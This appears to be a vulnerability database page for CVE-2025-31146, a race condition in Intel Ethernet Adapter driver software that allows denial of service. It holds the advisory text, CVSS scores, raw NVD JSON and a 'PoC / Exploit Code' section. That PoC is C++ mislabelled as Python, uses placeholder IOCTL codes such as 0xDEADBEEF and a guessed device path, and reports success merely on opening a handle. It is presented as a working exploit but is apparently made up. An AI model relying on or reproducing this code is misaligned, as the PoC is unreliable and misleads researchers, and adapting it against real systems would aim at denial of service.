Security Vulnerability Report
中文
CVE-2025-31146 CVSS 6.1 MEDIUM

CVE-2025-31146

Published: 2025-11-11 17:15:48
Last Modified: 2026-04-15 00:35:42

Description

Time-of-check time-of-use race condition for some Intel Ethernet Adapter Complete Driver Pack software before version 1.5.1.0 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via adjacent access when attack requirements are not present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Intel Ethernet Adapter Complete Driver Pack < 1.5.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-31146 PoC - TOCTOU Race Condition in Intel Ethernet Adapter Driver // This PoC demonstrates the race condition window between check and use operations // Note: This is for educational and security research purposes only #include <windows.h> #include <stdio.h> #include <thread> #include <atomic> // Simulate the vulnerable TOCTOU pattern in Intel Ethernet Adapter driver // The driver checks some resource state, then uses it after a delay std::atomic<bool> race_won{false}; void check_phase(HANDLE hDevice) { // Phase 1: Driver checks resource state (e.g., buffer permissions) DWORD bytesReturned; DeviceIoControl(hDevice, 0x12345678, NULL, 0, NULL, 0, &bytesReturned, NULL); // Check passed - resource appears valid // Intentional delay creates the race window Sleep(1); // 1ms window for race condition // Phase 2: Driver uses the resource (now potentially modified) // If attacker wins the race, this may cause DoS DeviceIoControl(hDevice, 0x12345679, NULL, 0, NULL, 0, &bytesReturned, NULL); } void attack_phase(HANDLE hDevice) { // Attacker tries to modify resource state during the race window // This could involve: changing buffer permissions, modifying device config, etc. HANDLE hMalicious = CreateFile("\\\\.\\IntelEthernetAdapter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hMalicious != INVALID_HANDLE_VALUE) { // Modify driver state during race window DeviceIoControl(hMalicious, 0xDEADBEEF, NULL, 0, NULL, 0, NULL, NULL); race_won = true; CloseHandle(hMalicious); } } int main() { HANDLE hDevice = CreateFile("\\\\.\\IntelEthernetAdapter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Cannot open device handle. Requires Intel Ethernet Adapter driver.\n"); return 1; } printf("[*] CVE-2025-31146 PoC - Intel Ethernet Adapter TOCTOU Race Condition\n"); printf("[*] Target: Intel Ethernet Adapter Complete Driver Pack < 1.5.1.0\n"); // Launch multiple threads to increase race condition probability for (int i = 0; i < 1000; i++) { std::thread t1(check_phase, hDevice); std::thread t2(attack_phase, hDevice); t1.join(); t2.join(); if (race_won) { printf("[+] Race condition triggered!\n"); break; } } CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31146", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:47.587", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Time-of-check time-of-use race condition for some Intel Ethernet Adapter Complete Driver Pack software before version 1.5.1.0 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via adjacent access when attack requirements are not present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01376.html", "source": "[email protected]"}]}}